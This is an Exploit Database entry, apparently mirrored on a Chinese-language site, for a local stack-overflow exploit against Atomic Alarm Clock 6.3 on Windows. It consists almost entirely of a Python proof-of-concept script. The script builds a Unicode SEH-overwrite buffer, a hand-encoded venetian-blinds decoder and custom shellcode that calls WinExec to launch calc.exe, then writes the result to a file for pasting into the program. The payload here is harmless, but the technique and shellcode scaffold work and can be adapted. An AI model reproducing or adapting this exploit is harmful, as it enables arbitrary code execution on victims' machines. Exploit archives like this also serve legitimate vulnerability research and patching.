Atomic Alarm Clock 6.3 – Stack Overflow (Unicode+SEH)

Exploit Database
116 阅读

作者： boku

日期： 2020-04-20
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/48346/

# Exploit Title: Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)

# Exploit Author: Bobby Cooke

# Date: 2020-04-17

# Vendor: Drive Software Company

# Vendor Site: http://www.drive-software.com

# Software Download: http://www.drive-software.com/download/ataclock.exe

# Tested On: Windows 10 - Pro 1909 (x86)

# Version: Atomic Alarm Clock 6.3 beta

# Recreate: Install > Open > Run Exploit > Open poc.txt & copy to clipboard > Time Zones > Clock1 > click 'Enter display name' textbox > paste buffer

File= 'poc.txt'

os_nSEH = '\x41'*(461)

nSEH= '\xeb\x05' # jmp short +2

SEH = '\x47\x47' # 0x00470047 : pop esi # pop ebx # ret [AtomicAlarmClock.exe]

#{PAGE_EXECUTE_READ} ASLR: False, Rebase: False, SafeSEH: False

getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory

getPC+= '\x61' # popad # [ESP] = &Payload

getPC+= '\x72' # add [edx], dh # realigns execution for 1 byte opcodes

ebx2eax= '\x58'# pop eax # EAX = &Payload

ebx2eax += '\x72'# add [edx], dh

# Ajust EAX to &Decoder

getDecoder= '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes

getDecoder += '\x72' # add [edx], dh

getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder

getDecoder += '\x72' # add [edx], dh

getDecoder += '\x50' # push eax# [ESP] = &Decoder

getDecoder += '\x72' # add [edx], dh

#DecoderHex= '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3'

firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50'

## 2nd byte - \x00 => \x5F

venBlinds = '\x40\x72\xC6\x5F\x72\x40\x72\x40\x72'

## 4th byte - \x00 => \x33

venBlinds+= '\xC6\x33\x72\x40\x72\x40\x72'

## 6th byte - \x00 => \x33

venBlinds+= '\xC6\x33\x72\x40\x72\x40\x72'

## 8th byte - \x00 => \x66

venBlinds+= '\xC6\x66\x72\x40\x72\x40\x72'

## 10th byte - \x00 => \x10

venBlinds+= '\xC6\x10\x72\x40\x72\x40\x72'

## 12th byte - \x00 => \x33

venBlinds+= '\xC6\x33\x72\x40\x72\x40\x72'

## 14th byte - \x00 => \x42

venBlinds+= '\xC6\x42\x72\x40\x72\x40\x72'

## 16th byte - \x00 => \x32

venBlinds+= '\xC6\x32\x72\x40\x72\x40\x72'

## 18th byte - \x00 => \x02

venBlinds+= '\xC6\x02\x72\x40\x72\x40\x72'

## 20th byte - \x00 => \x10

venBlinds+= '\xC6\x10\x72\x40\x72\x40\x72'

## 22nd byte - \x00 => \x3F

venBlinds+= '\xC6\x3F\x72\x40\x72\x40\x72'

## 24nd byte - \x00 => \x1F

venBlinds+= '\xC6\x1F\x72\x40\x72\x40\x72'

## 26th byte - \x00 => \x49

venBlinds+= '\xC6\x49\x72\x40\x72\x40\x72'

## 28th byte - \x00 => \x02

venBlinds+= '\xC6\x02\x72\x40\x72\x40\x72'

## 30th byte - \x00 => \xED

venBlinds+= '\xC6\xED\x72\x40\x72\x40\x72'

## 32nd byte - \x00 => \xC3

venBlinds+= '\xC6\xC3\x72\x40\x72'

# Jump to the decoded decoder by Returning to the address we saved on the stack

venBlinds+= '\xC3' # ret[!] Now we are executing the decoder!

os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))

# Custom PopCalc shellcode that avoids the bad characters

fKernel32= '\x33\xF6\xF7\xE6\x64\x03\x52\x30\x03\x42\x0C\x03\x70\x1C\xAD\x50\x5E\xAD\xFF\x70\x08'

gExpotTbl= '\x33\xC9\x33\xF6\x33\xDB\xF7\xE3\x58\x50\x03\x70\x3C\x03\xF0\x03\x56\x78\x03\xD0\x03\x5A\x20\x03\xD8\x03\x4A\x24\x03\xC8\x51\x33\xFF\x03\x7A\x1C\x03\xF8\x57'

fWinExec = '\x68\x57\x69\x6E\x45\x33\xC0\x33\xF6\x03\xF4\xFC\x50\x33\xC9\x41\x41\x41\x41\xF7\xE1\x33\xFF\x03\x3C\x18\x58\x03\x7C\x24\x0C\xF3\xA6\x74\x03\x40\xEB\xE1\x33\xC9\x41\x41\xF7\xE1\x33\xC9\x03\x4C\x24\x08\x03\xC8\x33\xC0\x66\x03\x01\x33\xC9\x41\x41\x41\x41\xF7\xE1\xFF\x74\x24\x04\x01\x04\x24\x5A\x33\xDB\x03\x1A\x03\x5C\x24\x0C'

# Call WinExec( CmdLine, ShowState );

# CmdLine = "calc.exe"

# ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window

callWinExec= '\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xC0\x03\xC4\x41\x51\x50\xFF\xD3'

shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec

buffer= os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode

filler= '\x77'*(9000-len(buffer))

buffer= buffer+filler

try:

payload = buffer

f = open(File, 'w')

f.write(payload)

f.close()

print File + " created successfully"

except:

print File + ' failed to create'